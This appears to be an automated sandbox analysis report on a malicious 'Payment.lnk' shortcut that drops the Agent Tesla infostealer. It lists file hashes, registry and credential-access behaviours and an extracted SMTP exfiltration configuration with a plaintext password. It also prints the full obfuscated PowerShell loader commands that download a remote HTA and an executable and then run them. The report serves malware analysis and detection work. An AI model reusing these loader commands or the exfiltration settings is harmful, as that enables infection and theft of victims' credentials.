Analysis
- max time kernel
145s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20230220-en - resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system - submitted
11/05/2023, 19:11
Static task
static1
Behavioral task
behavioral1
Sample
Payment.lnk
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
Payment.lnk
Resource
win10v2004-20230220-en
General
- Target Payment.lnk
- Size 3KB
- Sample230511-xvyjyaab55
- SHA256 8e33efcf6dbf9703b9ce4af96de2e312674607d3d3ca067f6c1e31015488a443
- MD5 91b3626da0c17a4dbcd98ca6f919d085
- SHA1 d6e9a3c8faf71e17187404a6f160257c83e31406
- SHA512 5ae349c5b77e0d77b4e2863ee06cfd8ea0bb949431ab2b139a165c1e8119341521b42f2ed8f4a423fea5b31c2f842d84ca2dd35f8d93288f6d77bf1b73153eb7
- MD5 SHA1 SHA512
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.thereccorp.com
-
Port
587
-
Username
-
Password
O@123456
Extracted
-
agenttesla
-
Protocol
smtp
-
Host
mail.thereccorp.com
-
Port
587
-
Username
-
Password
O@123456
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Blocklisted process makes network request 2 IoCs
flow pid Process 7 4688 powershell.exe 9 3828 powershell.exe - Downloads MZ/PE file
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation mshta.exe - Executes dropped EXE 1 IoCs
pid Process 2400 coco1.exe - Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegAsm.exe Key opened \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegAsm.exe Key opened \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegAsm.exe - Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 20 api.ipify.org 21 api.ipify.org - Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2400 set thread context of 4648 2400 coco1.exe 91 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000_Classes\Local Settings powershell.exe - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4688 powershell.exe 4688 powershell.exe 3828 powershell.exe 3828 powershell.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4688 powershell.exe Token: SeDebugPrivilege 3828 powershell.exe Token: SeDebugPrivilege 4648 RegAsm.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4648 RegAsm.exe - Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 4424 wrote to memory of 4688 4424 cmd.exe 86 PID 4424 wrote to memory of 4688 4424 cmd.exe 86 PID 4688 wrote to memory of 5072 4688 powershell.exe 87 PID 4688 wrote to memory of 5072 4688 powershell.exe 87 PID 4688 wrote to memory of 5072 4688 powershell.exe 87 PID 5072 wrote to memory of 3828 5072 mshta.exe 88 PID 5072 wrote to memory of 3828 5072 mshta.exe 88 PID 5072 wrote to memory of 3828 5072 mshta.exe 88 PID 3828 wrote to memory of 2400 3828 powershell.exe 90 PID 3828 wrote to memory of 2400 3828 powershell.exe 90 PID 3828 wrote to memory of 2400 3828 powershell.exe 90 PID 2400 wrote to memory of 4648 2400 coco1.exe 91 PID 2400 wrote to memory of 4648 2400 coco1.exe 91 PID 2400 wrote to memory of 4648 2400 coco1.exe 91 PID 2400 wrote to memory of 4648 2400 coco1.exe 91 PID 2400 wrote to memory of 4648 2400 coco1.exe 91 PID 2400 wrote to memory of 4648 2400 coco1.exe 91 PID 2400 wrote to memory of 4648 2400 coco1.exe 91 PID 2400 wrote to memory of 4648 2400 coco1.exe 91 - outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegAsm.exe - outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 RegAsm.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Payment.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0; function nvRClWiAJT($OnUPXhNfGyEh){$OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('')}; function sDjLksFILdkrdR($OnUPXhNfGyEh){ $vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh; for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){ try{$zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2)} catch{$zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1)}};$zRavFAQNJqOVxb}; $NpzibtULgyi = sDjLksFILdkrdR 'aht1.cocon/hi/coucys.erstmaofershma//s:tpht'; $cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1]; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing; [IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl; sleep 3; rm $cDkdhkGBtl;2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4688 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\coco1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5072 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function SgCgPBQWF($Jf, $MT){[IO.File]::WriteAllBytes($Jf, $MT)};function pYlEBNH($Jf){if($Jf.EndsWith((pJlleAeWx @(5781,5835,5843,5843))) -eq $True){Start-Process (pJlleAeWx @(5849,5852,5845,5835,5843,5843,5786,5785,5781,5836,5855,5836)) $Jf}else{Start-Process $Jf}};function ZGdPYo($kS){$wd = New-Object (pJlleAeWx @(5813,5836,5851,5781,5822,5836,5833,5802,5843,5840,5836,5845,5851));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$MT = $wd.DownloadData($kS);return $MT};function pJlleAeWx($Ga){$dM=5735;$J=$Null;foreach($iu in $Ga){$J+=[char]($iu-$dM)};return $J};function wOwbb(){$EqmpqqBTt = $env:APPDATA + '\';$TykgLPnC = ZGdPYo (pJlleAeWx @(5839,5851,5851,5847,5850,5793,5782,5782,5844,5832,5850,5839,5836,5849,5846,5837,5844,5832,5850,5851,5836,5849,5850,5781,5834,5856,5846,5852,5782,5834,5839,5840,5845,5782,5834,5846,5834,5846,5784,5781,5836,5855,5836));$qNjzb = $EqmpqqBTt + 'coco1.exe';SgCgPBQWF $qNjzb $TykgLPnC;pYlEBNH $qNjzb;;;;}wOwbb;4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3828 -
C:\Users\Admin\AppData\Roaming\coco1.exe"C:\Users\Admin\AppData\Roaming\coco1.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2400 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_office_path
- outlook_win_path
PID:4648
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 358b8df2d92a70274c5ec8e50bf6353c37a7fe1855fd9659f610f8a96eac19bd
- MD5 2247453c28acd1eb75cfe181540458a8
- SHA1 851fc5a9950d422d76163fdc6a453d6859d56660
- SHA512 42475e640ee70ab4bd7350dbd970c5862f1597918b6a5e3ee038a10a5c5b883ac61038ecec51a7bfe7cb615798d832fae4a3ead9571f35825a644dee1f2dd7d3
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cnvnyuyi.030.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\coco1.exe
- Size 718KB
- SHA256 c6d17684d5779f287df9ff7e53f95f5dc8ef24a7725d5ba1b60ce17ff1157e61
- MD5 a6d927ba4a4b0cad4e2f459aef0c4c3d
- SHA1 74b46e9615014e0e39d809cc469c7a061093210b
- SHA512 f7868715d80087cf88af1a452cf5907980d707b8f7c2c0c9d779d95ebee354ce7b7b45c058558f41c3b13f3217ec538399668840c153bcb98a37a36b737740be
- SSDEEP 12288:ufeeXfZdfrXg+JwuKt/S/60YbNyq3NzXCvCdMCJmo:ufw+Jwz/S/6BbYYZ5u
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\coco1.exe
- Size 718KB
- SHA256 c6d17684d5779f287df9ff7e53f95f5dc8ef24a7725d5ba1b60ce17ff1157e61
- MD5 a6d927ba4a4b0cad4e2f459aef0c4c3d
- SHA1 74b46e9615014e0e39d809cc469c7a061093210b
- SHA512 f7868715d80087cf88af1a452cf5907980d707b8f7c2c0c9d779d95ebee354ce7b7b45c058558f41c3b13f3217ec538399668840c153bcb98a37a36b737740be
- SSDEEP 12288:ufeeXfZdfrXg+JwuKt/S/60YbNyq3NzXCvCdMCJmo:ufw+Jwz/S/6BbYYZ5u
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\coco1.exe
- Size 718KB
- SHA256 c6d17684d5779f287df9ff7e53f95f5dc8ef24a7725d5ba1b60ce17ff1157e61
- MD5 a6d927ba4a4b0cad4e2f459aef0c4c3d
- SHA1 74b46e9615014e0e39d809cc469c7a061093210b
- SHA512 f7868715d80087cf88af1a452cf5907980d707b8f7c2c0c9d779d95ebee354ce7b7b45c058558f41c3b13f3217ec538399668840c153bcb98a37a36b737740be
- SSDEEP 12288:ufeeXfZdfrXg+JwuKt/S/60YbNyq3NzXCvCdMCJmo:ufw+Jwz/S/6BbYYZ5u
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\coco1.hta
- Size 46KB
- SHA256 178386e660641c9c41eaa75043df4f921869437390e8e2071f7a15c76490ab87
- MD5 387c92c10f47b02d781fa5c8214a1d89
- SHA1 3d27b597fa53f0bd8b8bb8071524512f0dc5fc45
- SHA512 8f9bd0b11092385ef867e1514d1cdbed4dfeb62f819e022b2df985a4e0f75df2e2718909f80748dc5d0b6c9b9cde8a731855aa608d51e9258805d48f4a83ede4
- SSDEEP 768:TI+0C7VfYbQ+vLwnPb4FFlrDcAyIfCYuCC+wQtDOnQjIM4:T2YpKyPb4FFjCYuR0OnQj8
- MD5 SHA1 SHA512 SSDEEP